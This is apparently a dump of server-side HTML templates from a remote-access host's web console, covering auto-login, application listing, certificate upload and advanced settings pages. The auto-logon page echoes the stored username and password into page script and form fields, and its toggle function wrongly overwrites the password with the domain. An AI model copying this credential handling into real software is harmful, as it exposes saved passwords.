<div class="titleBar"><?usemacro TITLEICON("perf")?><span class="titleText">&MSG.INFO.APPS.TITLE&</span></div>
<!-- TOOLBAR -->
<div class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=%MSG.INFO.APPS.TITLE%&favicon=menu_perf.png&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
</div><center>

<script language="JavaScript">
var tips = new Array();
</script>
<div class="clientArea" align="center">
<?enum APPS?>
<script language="JavaScript">
tips[=ENUM.INDEX=] = '\
<?if APP.SIZE		?><b><?$MSG.INFO.APPS.SIZECA	?>:</b> <?$APP.SIZE_szx?><br><?endif?>\
<?if APP.DATE		?><b><?$MSG.INFO.APPS.DATE		?>:</b> <?$APP.DATE?><br><?endif?>\
<?if APP.SRC		?><b><?$MSG.INFO.APPS.SRC		?>:</b> <?$APP.SRC?><br><?endif?>\
<?if APP.REG.FIRM	?><b><?$MSG.INFO.APPS.REG.FIRM	?>:</b> <?$APP.REG.FIRM?><br><?endif?>\
<?if APP.REG.USER	?><b><?$MSG.INFO.APPS.REG.USER	?>:</b> <?$APP.REG.USER?><br><?endif?>\
<?if APP.COMMENT	?><b><?$MSG.INFO.APPS.COMMENT	?>:</b> <?$APP.COMMENT?><br><?endif?>\
<?if APP.README		?><b><?$MSG.INFO.APPS.README	?>:</b> <a href="download/$APP.README$" target="_self"><?$APP.README?></a><br><?endif?>\
<?if APP.URL.HELP	?><b><?$MSG.INFO.APPS.URL.HELP	?>:</b> <a href="$APP.URL.HELP$" target="_blank"><?$APP.URL.HELP?></a><br><?endif?>\
<?if APP.URL.UPDATE	?><b><?$MSG.INFO.APPS.URL.UPDATE?>:</b> <a href="$APP.URL.UPDATE$" target="_blank"><?$APP.URL.UPDATE?></a><br><?endif?>\
<?if APP.UNINST		?><b><?$MSG.INFO.APPS.UNINST	?>:</b> <?$APP.UNINST?><br><?endif?>\
<?if APP.UNINSTQ	?><b><?$MSG.INFO.APPS.UNINSTQ	?>:</b> <?$APP.UNINSTQ?><br><?endif?>\
<?if APP.LASTUSED	?><b><?$MSG.INFO.APPS.LASTUSED	?>:</b> <?&APP.LASTUSED_dtms?> (<?&APP.LASTUSED_ago?>)<br><?endif?>\
';
</script>
<br>
<fieldset style="padding: 5px" onmouseover="if (tips[&ENUM.INDEX&].length > 0) showTip(event,tips[&ENUM.INDEX&],false,'FIELDSET')">
<legend><?if APP.ICON?><img src="fileicon.png?path=%APP.ICON%&size=16&bg=%COLOR.DlgBack%" width="16" height="16" align="absmiddle">&nbsp;<?endif?><b>&APP.NAME&</b></legend>
<table width="100%">
<tr><td><b><?&MSG.INFO.APPS.PUBLISHER	?>:</b> <?if APP.PUBLISHER	?><?if APP.URL.ABOUT and not Cfg.Appearance.NoExternalLinks="1"?><a href="&APP.URL.ABOUT&" target="_blank">&APP.PUBLISHER&</a><?else?>&APP.PUBLISHER&<?endif?><?else?><i><?&MSG.CONFIG.NA?></i><?endif?></td></tr>
<tr><td><b><?&MSG.VERSION				?>:</b> <?if APP.VERSION	?><?&APP.VERSION?><?else?><i><?&MSG.CONFIG.NA?></i><?endif?></td></tr>
<?if APP.DIR	?><tr><td><b><?&MSG.INFO.APPS.DIR		?>:</b> <a href="dir.html?dir=%APP.DIR%&%RND%">&APP.DIR&</a></td></tr><?endif?>
<?if APP.FREQ	?><tr><td><b><?&MSG.INFO.APPS.FREQUSED	?>:</b> <?if APP.FREQ<=2?><?&MSG.INFO.APPS.FREQ.LO?><?elseif APP.FREQ<=10?><?&MSG.INFO.APPS.FREQ.MD?><?else?><?&MSG.INFO.APPS.FREQ.HI?><?endif?> (<?&APP.FREQ?>)</td></tr><?endif?>
</table>
</fieldset><br><br>
<?next?>
</div></center>
</div>
</body>
</html>
AautoLogin.html)d<?ratmpl?> <?nocache?>
<html>
<head><?include "setupdomain.html"?>
</head>
<body onload="pageLoad()">

<script type="text/javascript">
<?//background=blueheader means that background must be same as the blue header on dashboard
//because it is embedded into the blue hedaer of parent frame, so if we want to hide this frame we must set its background also to blue header color
if REQ.BACKGROUND="blueheader" ?>
document.body.style.backgroundColor = "#FFFFFF";
<? endif ?>

var pageLoaded = false;
function pageLoad()
{
pageLoaded = true;
if (typeof (LogMessage) == "function")
{
LogMessage("Page is loaded");
}

if (typeof (InitAutoLogin) == "function")
{
InitAutoLogin();
}  
}
</script>

<!-- host and autologin related js functions communicate over these variables -->
<form name="autoLogin">
<input type="hidden" name="profileHash" value="&PROFILEHASH&" />
<input type="hidden" name="hostKey" value="&HOSTKEY&" />
<input type="hidden" name="hostKeyFallback" value="&HOSTKEYFALLBACK&" />
<? action "createnonce" ?>
<input type="hidden" id="hostUrl" name="hostUrl" value="&HTTP.HOST&" />
<input type="hidden" name="hostNonce" value="&HOSTNONCE&" />
<input type="hidden" name="hostId" id="hostId" value="&HOSTID&" />
<input type="hidden" name="isFailedLogin" value="&ISFAILEDLOGIN&" />
<input type="hidden" id="isDebug" name="isDebug" value="&cfg.Log.Debug&" />
<input type="hidden" name="isLoginPage" value="0" />
</form>
<!--Start of component needed for autologin-->
<div style="position: absolute; left: 0px; top: 0px;" id="flashContainer">
<!-- credentials.swf flash component comes here -->
</div>

<script type="text/javascript" src="https://&WEBSVC.SITE&/ws/host/AutoLogin/autologin_clientscriptsv2.aspx"></script>

<!--End of code needed for autologin-->
</body>
</html>
N{tautologon.html
SD<?ratmpl?>
<?
nocache
include "macros.html"
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<?include "passsave.inc"?>
</head>

<body>

<?
action "autologin"
usemacro WINERRDLG()
?>

<div class="window">
<div class="titleBar"><?usemacro TITLEICON("manage")?><span class="titleText">&MSG.ADMIN.AUTOLOGIN.TITLE&</span></div>
<div class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=%MSG.ADMIN.AUTOLOGIN.TITLE%&favicon=menu_admin.png&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
</div>
<center>
<script language="JavaScript">
function check(f) {
if (f.pass.value != f.passv.value) {
alert("$MSG.DIALOG.PWDMISMATCH$");
return false;
}
return true;
}
var user = "$AAL.USER$";
var pass = "$AAL.PASS$";
var domn = "$AAL.DOMAIN$";
function tick() {
var f = document.forms[0];
if (f.enable.checked) {
f.user.value = user; f.user.disabled = false;
f.pass.value = pass; f.pass.disabled = false; f.passv.disabled = false;
f.domain.value = domn; f.domain.disabled = false;
} else {
user = f.user.value; f.user.value = ""; f.user.disabled = true;
pass = f.pass.value; f.pass.value = ""; f.pass.disabled = true; f.passv.disabled = true;
pass = f.domain.value; f.domain.value = ""; f.domain.disabled = true;
}
}
</script>
<form action="&TEMPLATE&" method="post" onsubmit="return check(this)">
<fieldset><br>
<table>
<tr>
<td align="right">&MSG.LOGIN.USER&:</td>
<td><input type="text" name="user" size="30" value="&AAL.USER&"></td>
</tr>
<tr>
<td align="right">&MSG.DIALOG.PWDENTRY&:</td>
<td><input type="password" name="pass" size="30" value="&AAL.PASS&"></td>
</tr>
<tr>
<td align="right">&MSG.DIALOG.PWDCONFIRM&:</td>
<td><input type="password" name="passv" size="30" value=""></td>
</tr>
<tr>
<td align="right">&MSG.LOGIN.DOMAIN&:</td>
<td><input type="text" name="domain" size="30" value="&AAL.DOMAIN&"></td>
</tr>
<tr>
<td align="right">&MSG.ADMIN.AUTOLOGIN.ENABLE&:</td>
<td><input type="checkbox" name="enable" <?checked AAL.ENABLE?> value="1" onclick="tick(this)"></td>
</tr>
</table><br>
<script language="JavaScript">tick()</script>
</fieldset><br>
<br>
<fieldset><table width="95%" ID="Table1"><tr><td><font color="<?&COLOR.Link?>"><center>&MSG.ADMIN.AUTOLOGIN.NOTE&</center></font></td></tr></table></fieldset><br><br>
<table><tr><td align=center><input type="submit" name="submit" value="&DIALOG.APPLY&"></td></tr></table>

</form>
</center>
</div>
</body>
</html>
10boot.xhtml<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">

<?ratmpl?><?

  nocache

  

  if REQ.LANG

    set session LANG=REQ.LANG

  endif



  // Front-End API version

  set APIVER = "v1"



  // Brand line name

  if BRAND.LOGMEIN

    if BRAND.LOGMEIN.FREE

      set brandline = "lmi"

    else

      set brandline = "lmipro"

    endif

  else

    set brandline = "ra"

  endif



?><html>

<head>

  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

  <title>&SRVNAME&</title>

  <script type="text/javascript">

  

  CONFIG = {

    api_base: '/api',

    lang: '<?&LANG?>' || 'en',

    brand: '<?&brandline?>',

    isLoggedIn: <?if ISLOGGEDON?>true<?else?>false<?endif?>,

    frontendURL: '<?if SSL?>https<?else?>http<?endif?>://&FrontendURL&',

    frontendBase:'<?if SSL?>https<?else?>http<?endif?>://&FrontendURL&/&APIVER&',

    bootFile: 'boot.xhtml',

    os: '<?if ISUNIX?>macosx<?else?>win<?endif?>',

    customLogo: '<?if CFG.Appearance.CustomLogo = "1"?>/customlogo.jpg<?endif?>',

    customMsg: '&CFG.Appearance.CustomMsg&',

    isVistaOrBetter: <?if ISVISTAORBETTER?>true<?else?>false<?endif?>,

    isNTLM: <?if NTLM?>true<?else?>false<?endif?>,

    isNtSrv: <?if ISNTSRV?>true<?else?>false<?endif?>,

    isSsl: <?if SSL?>true<?else?>false<?endif?>,

    isDomainMember: <?if IsDomainMember?>true<?else?>false<?endif?>,

    isDirectAccessAllowed: <?if IsDirectAccessAllowed?>true<?else?>false<?endif?>,

    isIPv6Supported: <?if IsIPv6Supported?>true<?else?>false<?endif?>,

    productWebsite: '#PRODUCTWEBSITE#',

    raCom: '#RA.COM#',

    webSvcSite: '#WEBSVC.SITE#',

    raSupport: '#RA.SUPPORT#',

    userName: '#USERNAME#',

    autoLogin: <? if LOGINMETHOD == "AUTOLOGIN" ?>true<? else ?>false<?endif?>,

    srvUID: '#SRVUID#',

    srvName: '&SRVNAME&'

  };



  </script>



<!--[if IE 6]>

<script type="text/javascript" src="<?if SSL?>https<?else?>http<?endif?>://&frontURL&/&APIVER&/assets/ie6comp/expressions.js" ></script>

<![endif]-->





<!-- CSS -->

<link rel="stylesheet" href="<?if SSL?>https<?else?>http<?endif?>://&FrontendURL&/&APIVER&/css/yuiskin.css"/>

<link rel="stylesheet" href="<?if SSL?>https<?else?>http<?endif?>://&FrontendURL&/&APIVER&/css/commonskin.css"/>

<link rel="stylesheet" href="<?if SSL?>https<?else?>http<?endif?>://&FrontendURL&/&APIVER&/css/&brandline&skin.css"/>



<script type="text/javascript" src="<?if SSL?>https<?else?>http<?endif?>://&FrontendURL&/&APIVER&/js/yui.js"></script>

<script type="text/javascript" src="<?if SSL?>https<?else?>http<?endif?>://&FrontendURL&/&APIVER&/js/&brandline&.js"></script>



</head>

<body>

<object src="<?if SSL?>https<?else?>http<?endif?>://&FrontendURL&/&APIVER&/assets/sprite.png" style="position:absolute;top:-100px;left:0px;"></object>

<script>

  YUI({

    combine:false,

    modules:MODULES,

    fetchCSS:false

  }).use('dom-style-ie','event-base-ie','history-hash','history-hash-ie','common','&brandline&',function(Y){

    

    Y.i18n.loadLang(CONFIG.lang);

    

    Y.on('i18n:loaded',function() {

      Y.i18n.compileLang();

      new Y.LMIRAClient(CONFIG);

    });

  });

</script>

</body>

</html>

#borgmenu.html	<?ratmpl?>
<?nocache?>
<script type="text/javascript" src="js/lmiborgsupport.js"></script>
<script type="text/javascript" src="/js/xmlhttp.js"></script>
<script type="text/javascript" src="/js/tracking.js"></script>
<script type="text/javascript" src="/js/borgtimers.js"></script>
<script type="text/javascript">

var bStarting = false;

function GetFallbackURL(aReqType) {
var nReqType = parseInt(aReqType, 10);
switch (nReqType) {
case 1: return "remctrl.html?type=html&new=1";
case 2: return "filexfer.html?type=html";
case 3: return "telnet.html?type=html";
case 4: break; //no html chat version, and flash/java not supported anymore
default: break;
}
return "#";
}

function StartLogMeInClient(aReqType, bView) {
if (bStarting) {
return;
}
bStarting = true;
setTimeout("bStarting=false;", 300);

// add tracking for RemoteControl and FileManager
if (aReqType == "01") {
// don't track Host Screen Monitoring
if (!bView)
Tracking.trackAction(kAPP_BORG, kACT_REMOTE_CONTROL);
} else if (aReqType == "02")
Tracking.trackAction(kAPP_BORG, kACT_FILE_MANAGER);

// start Borg client
var sView = bView ? "&view=1" : "";
var pBody = parent.frames['body'];
pBody.sFallbackUrl = GetFallbackURL(aReqType) + sView;
var sDeployURI = "openclient.html?downloadclient=1&apptype=" + aReqType + sView + "&platform=" + LMIBrowserInfo.GetPlatform();

if (! LMIBrowserInfo.GetCookie(LMIBrowserInfo.kClientAppCookie)) {
gCustomURI = sDeployURI;
pBody.ShowInfoBox(sDeployURI);
} else if (pBody) {
pBody.StartShowMessageTimer(sDeployURI);
var loader = document.getElementById("borgloader");
if (!loader || LMIBrowserInfo.GetName() == "Chrome") {
gCustomURI = "openclient.html?redirect=1&apptype=" + aReqType + sView;
PrepareAnchor();
} else {
gCustomURI = "openclient.html?apptype=" + aReqType + sView;
loader.src = gCustomURI;
}
}
}

function StartLogMeInClientAndGoDashboard(aReqType) {
var pFrame = parent.frames['body'];
if (-1 < pFrame.location.toString().indexOf(aPage)) {
StartLogMeInClient(aReqType);
} else {
aPage = <? if USE.DASHBOARD ?>"dashboard.html"<? else ?>"info.html"<? endif ?>
pFrame.location.replace(aPage + "?startclient=" + aReqType + "&" + Math.floor((Math.random()*10000)+1));
}
}

</script>
<iframe id="borgloader" src="about:blank" width="0" height="0" style="display:none;"></iframe>
<iframe id="LMIConnCheck" src="about:blank" width="0" height="0" style="display:none;"></iframe>
"borgmessages.html.<?ratmpl?>
<?nocache?>
<script type="text/javascript" src="/js/base64.js"></script>
<script type="text/javascript" src="/js/xmlhttp.js"></script>
<script type="text/javascript" src="/js/lmiborgsupport.js" ></script>
<script type="text/javascript">
var sFallbackUrl = null;
var sLogMeInClientID = "LogMeInClient";
var gConnectionTimerRunning = false;
var gDeployURI = null;
var IsBorgConnected = false;
var gMessageTimeoutInSecs = 8;

function GetBorgTimersFrame() {
// can be overwritten with BorgTimersFrame function
if (typeof (BorgTimersFrame) === 'function') {
return BorgTimersFrame();
}
return parent.frames["menu"];
}

function RunBorgConnectedAction() {
if (typeof (BorgConnectedAction) === 'function') {
BorgConnectedAction();
}
}

if (! LMIBrowserInfo.IsPluginsSupported()) {

function PrepareRequestAndStartDownload(aID) {
var clientDeployFile = new LMIClientDeployFile(gDeployURI);
_(aID + "LMICol1")._("a").href = gDeployURI;
_(sLogMeInClientID + "_Info")._("p")._("a").href = sFallbackUrl;
_("LMIDownloader").src = gDeployURI;
GetBorgTimersFrame().StartCheckFirstTimeConnection();
}

LMIMessageBox.CreateAlertBox(sLogMeInClientID + "_Alert");
LMIMessageBox.SetTitle("$MSG.ALERT.TITLE$");
if ((LMIBrowserInfo.GetPlatform() == kPLATFORM_MAC) && LMIBrowserInfo.GetName() == 'Safari') {
LMIMessageBox.SetupColumn(2, "1. $MSG.ALERT.COLUMN2.TITLE$", "$MSG.ALERT.COLUMN2.CONTENT$");
LMIMessageBox.SetupColumn(3, "2. $MSG.ALERT.COLUMN3.TITLE$", "$MSG.ALERT.COLUMN3.CONTENT$");
} else {
LMIMessageBox.SetupColumn(1, "1. $MSG.ALERT.COLUMN1.TITLE$", "$MSG.ALERT.COLUMN1.CONTENT$");
LMIMessageBox.SetupColumn(2, "2. $MSG.ALERT.COLUMN2.TITLE$", "$MSG.ALERT.COLUMN2.CONTENT$");
LMIMessageBox.SetupColumn(3, "3. $MSG.ALERT.COLUMN3.TITLE$", "$MSG.ALERT.COLUMN3.CONTENT$");
}
LMIMessageBox.SetNote("$MSG.ALERT.NOTE$");

LMIMessageBox.CreateInfoBox(sLogMeInClientID + "_Info");
LMIMessageBox.SetTitle("$MSG.INFO.TITLE$");
LMIMessageBox.SetupColumn(1, "1. $MSG.INFO.COLUMN1.TITLE$", "$MSG.INFO.COLUMN1.CONTENT$");
LMIMessageBox.SetupColumn(2, "2. $MSG.INFO.COLUMN2.TITLE$", "$MSG.INFO.COLUMN2.CONTENT$");
LMIMessageBox.SetupColumn(3, "3. $MSG.INFO.COLUMN3.TITLE$", "$MSG.INFO.COLUMN3.CONTENT$");
LMIMessageBox.SetNote("$MSG.INFO.NOTE$");

function IsAlertBoxVisible() {
LMIMessageBox.Bind(sLogMeInClientID + "_Alert");
return LMIMessageBox.IsVisible();
}

function ShowAlertBox() {
_(sLogMeInClientID + "_Alert")._("a").href = "#";
_(sLogMeInClientID + "_Alert")._("a").onclick = function () {
ShowInfoBox(gDeployURI);
}

LMIMessageBox.Bind(sLogMeInClientID + "_Info");
LMIMessageBox.Hide();
LMIMessageBox.Bind(sLogMeInClientID + "_Alert");
LMIMessageBox.Show();
GetBorgTimersFrame().StartCheckConnection();
if (sFallbackUrl !== "#") {
_(sLogMeInClientID + "_Alert")._("p")._("a").href = sFallbackUrl;
} else {
_(sLogMeInClientID + "_Alert")._("p").remove();
}
}

function ShowInfoBox(aURI) {
gDeployURI = aURI;
LMIMessageBox.Bind(sLogMeInClientID + "_Alert");
LMIMessageBox.Hide();
LMIMessageBox.Bind(sLogMeInClientID + "_Info");
LMIMessageBox.Show();
PrepareRequestAndStartDownload(LMIMessageBox.mID);
}

function HideAllMessageBoxes() {
LMIMessageBox.Bind(sLogMeInClientID + "_Info");
LMIMessageBox.Hide();
LMIMessageBox.Bind(sLogMeInClientID + "_Alert");
LMIMessageBox.Hide();
}

function ConnectCheckLoaded(data) {
IsBorgConnected = false
if (data) {
IsBorgConnected = data.IsBorgConnected;
}
if (! IsBorgConnected) {
ShowAlertBox();
} else {
RunBorgConnectedAction();
}
}

function ShowMessageBox() {
ConnectionMonitorProxy.callConnectionCheck(ConnectCheckLoaded, OnConnectCheckFailed);
gConnectionTimerRunning = false;
}

function StartShowMessageTimer(aURI, aTimeoutInSecs) {
gDeployURI = aURI;
if (typeof (aTimeoutInSecs) === 'undefined' || isNaN(aTimeoutInSecs)) {
gMessageTimeoutInSecs = 8
} else {
gMessageTimeoutInSecs = 1 * aTimeoutInSecs
}

if (!gConnectionTimerRunning && !IsAlertBoxVisible()) {
setTimeout("ShowMessageBox()", gMessageTimeoutInSecs * 1000);
gConnectionTimerRunning = true;
}
}
}
</script>
<iframe id="LMIConnCheck" src="about:blank" width="0" height="0" style="display:none;"></iframe>
<iframe id="LMIDownloader" src="about:blank" width="0" height="0" style="display:none;"></iframe>
9Zcertupload.html}<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<html>
<head>
<?include "title.inc"?>
<?include "style.inc"?>
</head>

<body>
<?
if REQ.OP
action "sslupload"
endif
?>

<div class="window">
<div class="titleBar"><?usemacro TITLEICON("secure")?>&nbsp;Upload SSL Certificates</div>

<center>
<form action="&TEMPLATE&" method="post">
<input type=hidden name="op" value="upload">

<?
if REQ.OP
if SUCCESS
?>
Certificates uploaded and set successfully.<br><br>
<?
else
?>
An error has occurred.<br>
Code: &WINERRNUM&<br>
Message: &WINERRMSG&<br>
Extended information: &ERRSTRING&<br>
<br>
<?
endif
endif
?>		

<fieldset><legend>Certificates</legend>
<table width="90%">
<tr><td align="right" width="50%">
CA Certificate:<br>(PEM format, private key optional)</td><td><textarea name="CACERT" rows=10 cols=80 maxlength=4096></textarea>
</td></tr><tr><td align="right">
Server Certificate:<br>(PEM format, private key required)</td><td><textarea name="RACERT" rows=10 cols=80 maxlength=4096></textarea>
</td></tr></table>
</fieldset>
<br><br>
<center><input type=submit value="Upload"></center>
</form></center>
</div>
</body>
</html>
R} cfgadvanced.htmlC<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<?
action "cfgadvanced"
usemacro WINERRDLG()

if REQ.LANG
set session OLDLANG = LANG
set session LANG = REQ.LANG
endif
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
</head>

<body<?if REQ.LANG and not OLDLANG = LANG?> onload="window.top.menu.location.reload();"<?endif?>>

<div class="window">
<div class="titleBar" style="padding-bottom: 0px;" /><?usemacro TITLEICON("pref")?><span class="titleText">&MSG.CONFIG.ADVANCED.TITLE&<?if MSG?> - &CONFIG.TELNET:MSG&<?endif?></span></div>
<?if not UI="secrem"?>
<!-- TOOLBAR -->
<div id="toolbar" class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=%CONFIG.ADVANCED.TITLE%&favicon=menu_pref.png&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?%RND%"><img src="img/ico_refresh.gif" border="0" title="&MSG.DIALOG.UPDATE&"></a>
</div>
</div>
<?endif?>

<center>
<form action="&TEMPLATE&" method="post">
<input type="hidden" name="op" value="update">
<input type="hidden" name="restart" value="">
<br>

<?if REQ.RESTART?>

&MSG.CONFIG.NEEDRESTART&<br><br>
<input type="button" value="&MSG.ADMIN.REBOOT.RESTARTTITLE&" onclick="window.location='restart.html?type=ra'"><br><br>

<?else?>
<script language="JavaScript">
function onTlsFlagClick(checkBox) { checkBox.form.restart.value='yes'; }
</script>

<fieldset><legend>&MSG.CONFIG.REMCTRL.TITLE&</legend>
<table width="90%">
<col align="right" width="50%">
<col align="left" width="50%">
<?if not ISUNIX?>
<tr>
<td>&MSG.CONFIG.ADVANCED.DisableHTML&</td>
<td><input type="checkbox" name="DisableHTML" value="1" &DisableHTML& <?disabled DisableHTML.LOCKED?>></td>
</tr>
<?endif?>
<tr>
<td>&MSG.CONFIG.ADVANCED.DisconnectExisting&</td>
<td><input type="checkbox" name="DisconnectExisting" value="1" &DisconnectExisting& <?disabled DisconnectExisting.LOCKED?>></td>
</tr>
<?if not ISUNIX?>
<tr>
<td>&MSG.CONFIG.ADVANCED.USERWARNINGNOCLOSE&</td>
<td><input type="checkbox" name="UserWarningNoClose" value="1" &UserWarningNoClose& <?disabled UserWarningNoClose.LOCKED?>></td>
</tr>
<?endif?>
<?if not IS9X and not ISUNIX and not BRAND.LOGMEIN.FREE?>
<tr>
<td>&MSG.CONFIG.ADVANCED.FORCEBITMAPPRINTING&</td>
<td><input type="checkbox" name="ForceBitmapPrinting" value="1" &ForceBitmapPrinting& <?disabled ForceBitmapPrinting.LOCKED?>></td>
</tr>
<?endif?>
</table>
</fieldset>
<br><br>

<fieldset><legend>&MSG.CONFIG.LOG.TITLE&</legend>
<table width="90%">
<col align="right" width="50%">
<col align="left" width="50%">
<tr>
<td>&MSG.CONFIG.ADVANCED.DEBUGLOG&</td>
<td><input type="checkbox" name="DebugLog" value="1" &DebugLog& <?disabled DebugLog.LOCKED?>></td>
</tr>
</table>
</fieldset>
<br><br>

<fieldset><legend>&MSG.CONFIG.NET.TITLE&</legend>
<table width="90%">
<col align="right" width="50%">
<col align="left" width="50%">
<tr>
<td>&MSG.CONFIG.ADVANCED.NOHTTPCOMPR&</td>
<td><input type="checkbox" name="NoHttpCompr" value="1" &NoHttpCompr& <?disabled NoHttpCompr.LOCKED?>></td>
</tr>
<?if not BRAND.LOGMEIN?>
<tr>
<td>&MSG.CONFIG.ADVANCED.NOHTTPCOMPRWAP&</td>
<td><input type="checkbox" name="NoHttpComprWap" value="1" &NoHttpComprWap&></td>
</tr>
<?endif?>
<tr>
<td>*&MSG.CONFIG.ADVANCED.PROTOCOLVER&</td>
<td>
<input type="checkbox" name="Tls10Enabled" id="Tls10Enabled" onclick="onTlsFlagClick(this);" value="1" &Tls10Enabled& />
<label for="Tls10Enabled">TLS 1.0</label><br />
<input type="checkbox" name="Tls11Enabled" id="Tls11Enabled" onclick="onTlsFlagClick(this);" value="1" &Tls11Enabled& />
<label for="Tls11Enabled">TLS 1.1</label><br />
<input type="checkbox" name="Tls12Enabled" id="Tls12Enabled" onclick="onTlsFlagClick(this);" value="1" &Tls12Enabled& />
<label for="Tls12Enabled">TLS 1.2</label><br />
<input type="checkbox" name="Tls13Enabled" id="Tls13Enabled" onclick="onTlsFlagClick(this);" value="1" &Tls13Enabled& />
<label for="Tls13Enabled">TLS 1.3</label><br />
</td>
</tr>
</table>
</fieldset>
<br><br>

<?if not ISUNIX?>
<fieldset><legend>&MSG.CONFIG.ADVANCED.CRASHDUMPINFO.TITLE&</legend>
<div align="left">
&MSG.CONFIG.ADVANCED.CRASHDUMPINFO.SUBTITLE&
</div>
<table width="90%">
<col align="right" width="50%">
<col align="left" width="50%">
<tr>
<td>&MSG.CONFIG.ADVANCED.CRASHDUMPINFO.SEND&</td>
<td><input type="radio" name="CrashDumpInfo" value="1" <?checked CrashDumpInfo = "1"?> <?disabled CrashDumpInfo.LOCKED?>></input></td>
</tr>
<tr>
<td>&MSG.CONFIG.ADVANCED.CRASHDUMPINFO.DONTSEND&</td>
<td><input type="radio" name="CrashDumpInfo" value="2" <?checked CrashDumpInfo = "2"?> <?disabled CrashDumpInfo.LOCKED?>></input></td>
</tr>
<tr>
<td>&MSG.CONFIG.ADVANCED.CRASHDUMPINFO.USERDECIDE&</td>
<td><input type="radio" name="CrashDumpInfo" value="3" <?checked CrashDumpInfo = "3"?> <?disabled CrashDumpInfo.LOCKED?>></input></td>
</tr>
</table>
</fieldset>
<br><br>
<?endif?>

<?if not BRAND.LOGMEIN.FREE?>
<fieldset><legend>&MSG.CONFIG.ADVANCED.CUSTOMMSG&</legend>
<table width="90%">
<col align="right" width="50%">
<col align="left" width="50%">
<tr>
<td>&MSG.CONFIG.ADVANCED.CUSTOMMSG.LOGO&</td>
<td><input type="checkbox" name="CustomLogo" value="1" &CustomLogo& <?disabled CustomLogo.LOCKED?>></td>
</tr>
<tr>
<td>&MSG.CONFIG.ADVANCED.CUSTOMMSG.TEXT&</td>
<td><textarea rows="4" cols="38" name="CustomMsg" <?disabled CustomMsg.LOCKED?>>&{XML}CustomMsg&</textarea></td>
</tr>
<tr>
<td colspan=2 align="center" class="link"><br><font color="<?&COLOR.Link?>">&MSG.CONFIG.ADVANCED.CUSTOMMSG.EXPLAIN&</font><br></td>
</tr>
</table>
</fieldset>
<br><br>
<?endif?>

<fieldset><legend>&MSG.CONFIG.APPEARANCE.GENERALSETTINGS&</legend>
<table width="90%">
<col align="right" width="50%">
<col align="left" width="50%">
<tr>
<td align="right"><label for="lang">&MSG.LOGIN.LANG&</label>&nbsp;</td>
<td><select id="lang" name="lang">
<?if not BRAND.LOGMEIN?>
<option value="" <?selected REQ.LANG=""?>>&MSG.DEFAULT&</option>
<?endif?>
<option value="en" <?selected LANG="en"?>>English</option>
<option value="en-gb" <?selected LANG="en-gb"?>>English UK</option><!-- uk english -->
<option value="de" <?selected LANG="de"?>>Deutsch</option><!-- german -->
<option value="fr" <?selected LANG="fr"?>>Français</option><!-- french -->
<option value="es" <?selected LANG="es"?>>Español</option><!-- spanish -->
<option value="it" <?selected LANG="it"?>>Italiano</option><!-- italian -->
<option value="pt-br" <?selected LANG="pt-br"?>>Português (Br)</option><!-- portuguese (brazilian) -->
<option value="zh" <?selected LANG="zh"?>>中文(简体)</option><!-- chinese -->
<option value="ja" <?selected LANG="ja"?>>日本語</option><!-- japanese -->
<option value="ko" <?selected LANG="ko"?>>한국어</option><!-- korean -->
<option value="ru" <?selected LANG="ru"?>>Русский</option><!-- russian -->
<option value="hu" <?selected LANG="hu"?>>Magyar</option><!-- hungarian -->
<option value="nl" <?selected LANG="nl"?>>Nederlands</option><!-- dutch -->
</select></td>
</tr>
</table>
</fieldset>
<br><br>

<input type="submit" value="&MSG.DIALOG.APPLY&">
<?if UI="secrem"?>
&nbsp;<input type="button" value="&DIALOG.BACK&" onclick="window.location='lmipref.html'">
<?endif?>
<br><br>
<font color="<?&COLOR.Link?>">*&MSG.CONFIG.NEEDRESTART&</font>
<br><br>
<?endif // REQ.RESTART?>
</form>
</center>
</div>
</body>
</html>
<ʧcfgamt.htmlP<?ratmpl?>
<?nocache?>
<?include "macros.html"?>

<html>

<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<script language="javascript">
function submitForm(op)
{
document.getElementById("op").value = op;
document.forms.connectform.submit();
}
</script>
</head>

<body>

<?
action "amtconnect"
usemacro WINERRDLG()
?>

<div class="window">
<div class="titleBar" style="padding-bottom: 0px;" /><?usemacro TITLEICON("pref")?><span class="titleText">&MSG.CONFIG.AMTCFG.TITLE&</span></div>
<?if not UI="secrem"?>
<!-- TOOLBAR -->
<div id="toolbar" class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=%MSG.CONFIG.NET.TITLE%&favicon=menu_pref.png&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
</div>
<?endif?>

<center><br><br>

<fieldset><legend>&MSG.CONFIG.AMTCFG.LEGEND&</legend>
<form action="&TEMPLATE&" name="connectform" method="post">
<input type="hidden" name="op" id="op" value="">
<table width="95%" border="0" cellpadding="5">
<tr>
<td width="100%" align="right">&MSG.CONFIG.AMTCFG.CONNECT.TXT&</td>
<td><input type=text size="20" name="AMTCONNECTPASSCODE" /></td>
<td><input type="button" name="connect" value="&MSG.CONFIG.AMTCFG.CONNECT&" style="width: 100%;" onclick="submitForm('connect');"></td>
</tr>
<tr>
<td width="100%" align="right">&MSG.CONFIG.AMTCFG.DISCONNECT.TXT&</td>
